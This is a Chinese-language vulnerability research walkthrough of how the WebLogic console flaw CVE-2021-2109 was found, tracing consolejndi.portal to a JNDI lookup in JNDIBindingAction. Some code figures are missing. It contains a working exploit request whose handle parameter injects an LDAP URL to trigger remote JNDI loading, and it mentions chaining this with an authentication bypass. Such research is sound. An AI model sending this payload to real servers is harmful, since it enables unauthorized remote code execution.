一步一步教你漏洞挖掘之從挖掘思維來看Weblogic CVE-2021-2109
2020年CVE-2020-14882漏洞爆出后,激發了一波研究熱潮,當時Oracle官方發布的漏洞補丁存在缺陷,導致認證繞過很快就被bypass,同時自己按照挖掘套路發現了另一處RCE漏洞,組合認證繞過漏洞可實現未授權命令執行,該漏洞在2021年初已被修復,編號為CVE-2021-2109。下面就按照當時該漏洞挖掘路線圖來分析下這個JNDI注入。
Portal渲染
研究CVE-2020-14882漏洞時,利用的是console.portal來進行構造,看了下Weblogic的目錄結構,發現存在另一個`consolejndi.portal`文件:
Weblogic可以通過Portals來渲染不同的表單。我們看下`consolejndi.portal`:

分析發現上面的配置對應的URL為:
/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&JNDIHomePortlethandle=***
也就是說`definitionLabel`屬性對應GET參數`_pageLabel`,后面帶一個`Handle`參數,對應配置中的portlet的`definitionLabel`。
`consolejndi.portal`里面嵌套了很多portal,觀察到這樣一個portal定義:

里面嵌入了一個`netuix:portletInstance`,對應`/PortalConfig/jndi/jndibinding.portlet`,相當于嵌入了一個子頁面,查看`/PortalConfig/jndi/jndibinding.portlet`:

對應一個`netuix:strutsContent`。根據netuix使用規則:

所以上面的struts定義的配置文件為`struts-auto-config-core.xml`:

定義了`JNDIBindingAction`處理的servlet為`com.bea.console.actions.jndi.JNDIBindingAction`,也就是說,當訪問`consolejndi.portal`時,定義`_pageLabel`為`JNDIBindingPage`,將訪問`com.bea.console.actions.jndi.JNDIBindingAction`。
漏洞觸發點
審計下`JNDIBindingAction`:

在第69行,存在如下調用:

典型的JNDI調用,下面我們需要研究下其中的參數`prefix`和`suffix`是否可控。
參數傳遞
通過上面的分析,可以發現URL存在兩種構造模式。第一種:
GET /console/core/JNDIBindingAction.do?context=context&binding=binding&server=server&handle=com.bea.console.handles.JndiBindingHandle HTTP/1.1Host: ***:7001Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ADMINCONSOLESESSION=eT3HAz8FO06xiXQnCWM_snTmX3_qkwPmMeMzmPS30g5ZjeB3o_jp!1953175459Connection: closeContent-Length: 4
第二種:
GET /console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIBindingPage&handle=*** HTTP/1.1Host: ***:7001Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ADMINCONSOLESESSION=eT3HAz8FO06xiXQnCWM_snTmX3_qkwPmMeMzmPS30g5ZjeB3o_jp!1953175459Connection: closeContent-Length: 4
目前還需要構造合法的完整調用方式。我們知道,請求中的`handle`會被實例化,提交的參數會賦值給`objectIdentifier`變量,看一下`JNDIBindingAction`處理請求的代碼:

從第45行開始,`bindingHandle`對象將依次讀取`context`,`bindname`,`servername`的值,定位`getContext`函數:

進入`getComponent`,最終根據所有調用函數`getComponents`,這個函數很有意思,當`components`數組為null時,將拆分`objectIdentifier`組合成一個數組:

可以以";"為分隔符,構造一個特殊字符串,這樣就可以完成前面`context`,`bindname`,`servername`變量的賦值了,需要注意的是,在`JNDIBindingAction`的第50行將根據提交的`servername`參數提取合法的`serverMBean`。

通過調試,發現可以將`servername`賦值為`AdminServer`即可。同時由于對參數存在一定的修改:

所以可以構造如下請求:
GET /console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIBindingPage&handle=com.bea.console.handles.JndiBindingHandle(";ldap://***:1389/***;AdminServer") HTTP/1.1Host: ***:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://***:7001/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIContentSecurityBookAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7Cookie: ADMINCONSOLESESSION=_DPMG14dEyd1GiOOCrKCzlS3lR2PYlrMFCOHxYhP5RFefThKIA2G!-966078465Connection: close

從而觸發lookup,導致JNDI注入。
后記
CVE-2020-14882補丁修復的認證繞過存在嚴重缺陷,所以很快就被bypass,如果組合一下認證繞過過程,就可以構建一條完整的未授權遠程命令執行漏洞利用鏈,感興趣的小伙伴可以自行研究下,這里就不再贅述了。